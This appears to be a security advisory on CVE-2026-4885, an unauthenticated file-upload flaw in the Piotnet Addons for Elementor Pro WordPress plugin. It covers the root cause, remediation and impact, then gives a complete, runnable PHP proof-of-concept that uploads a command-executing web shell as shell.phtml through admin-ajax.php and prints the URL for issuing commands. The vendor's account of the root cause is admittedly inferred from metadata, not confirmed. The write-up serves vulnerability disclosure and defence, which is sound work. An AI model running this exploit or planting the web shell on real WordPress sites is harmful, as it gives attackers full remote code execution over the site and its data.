Atomic Edge analysis of CVE-2026-4885 (metadata-based):
This vulnerability allows unauthenticated attackers to upload arbitrary files to the WordPress server via the Piotnet Addons for Elementor Pro plugin (version 7.1.70 and earlier). The plugin fails to properly validate file types in its form file upload feature, specifically in the ‘pafe_ajax_form_builder’ function. With a CVSS score of 9.8, this is a critical severity issue that can lead to remote code execution.
Root Cause: The vulnerability stems from an incomplete file extension blacklist in the ‘pafe_ajax_form_builder’ function. The plugin only blocks .php, .phpt, .php5, .php7, and .exe extensions but allows dangerous extensions like .phar and .phtml. Based on Atomic Edge analysis of the CWE-434 classification, the plugin likely performs extension checking on the uploaded file’s name rather than employing a whitelist of allowed types or validating the file’s MIME type. The use of a blacklist rather than a whitelist is a known insecure pattern. Without access to the plugin source code, this conclusion is inferred from the CWE and vulnerability description rather than confirmed.
Exploitation: An unauthenticated attacker can send a crafted POST request to the WordPress AJAX handler at /wp-admin/admin-ajax.php with the action parameter set to ‘pafe_ajax_form_builder’. The request must include a file field (as noted in the description) containing a malicious file with a .phar or .phtml extension. The attacker must also include the required form field parameters expected by the plugin (likely a form ID or form fields array). The server will accept the file because the blacklist does not cover .phar or .phtml, and the file will be stored in the WordPress uploads directory. The attacker can then access the uploaded file directly via its URL, triggering execution of embedded code if the server executes PHP within allowed extensions (e.g., .phtml on some configurations).
Remediation: Atomic Edge recommends that the vendor replace the extension blacklist with a strict whitelist of allowed, safe file extensions (e.g., .jpg, .png, .pdf, .doc). The plugin should also validate the file’s MIME type against the claimed extension, store uploaded files outside the web root when possible, and rename files to remove executable extensions. Additionally, the ‘pafe_ajax_form_builder’ function should enforce capability checks and nonce verification for all submissions.
Impact: An attacker who successfully exploits this vulnerability can achieve remote code execution on the WordPress server. This allows complete compromise of the site: reading and modifying any data, creating administrator accounts, installing backdoors, defacing the site, or using the server as a pivot point for further attacks. Since the vulnerability is unauthenticated and requires no user interaction, every site running the vulnerable plugin is at immediate risk.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4885 - Piotnet Addons for Elementor Pro <= 7.1.70 - Unauthenticated Arbitrary File Upload via Form File Upload
// Configure target WordPress site
$target_url = 'http://example.com'; // Change this to the target URL
// The AJAX endpoint for form submission
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// File to upload: a PHP shell with .phtml extension to bypass the blacklist
$shell_content = '<?php system($_GET["cmd"]); ?>';
// Generate a temporary file
$temp_file = tempnam(sys_get_temp_dir(), 'exploit_');
file_put_contents($temp_file, $shell_content);
// Prepare the POST data as the plugin's form builder expects
// The 'action' parameter triggers the vulnerable 'pafe_ajax_form_builder' function
// We include a dummy form structure to pass validation
$post_data = array(
'action' => 'pafe_ajax_form_builder',
'form_id' => 'test_form',
'fields' => '{"file":"test_file"}',
);
// Prepare the file upload
$file = new CURLFile($temp_file, 'application/octet-stream', 'shell.phtml');
$post_data['file'] = $file; // The name 'file' matches the form field added by the attacker
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Clean up the temporary file
unlink($temp_file);
// Check for success (a 200 response with file URL indicates success)
if ($http_code == 200 && !empty($response)) {
echo "[+] File uploaded successfully. Response: " . $response . "n";
echo "[+] Try accessing the shell at: " . $target_url . "/wp-content/uploads/shell.phtml?cmd=idn";
} else {
echo "[-] Upload failed. HTTP Code: " . $http_code . "n";
echo "[-] Response: " . $response . "n";
}
?>
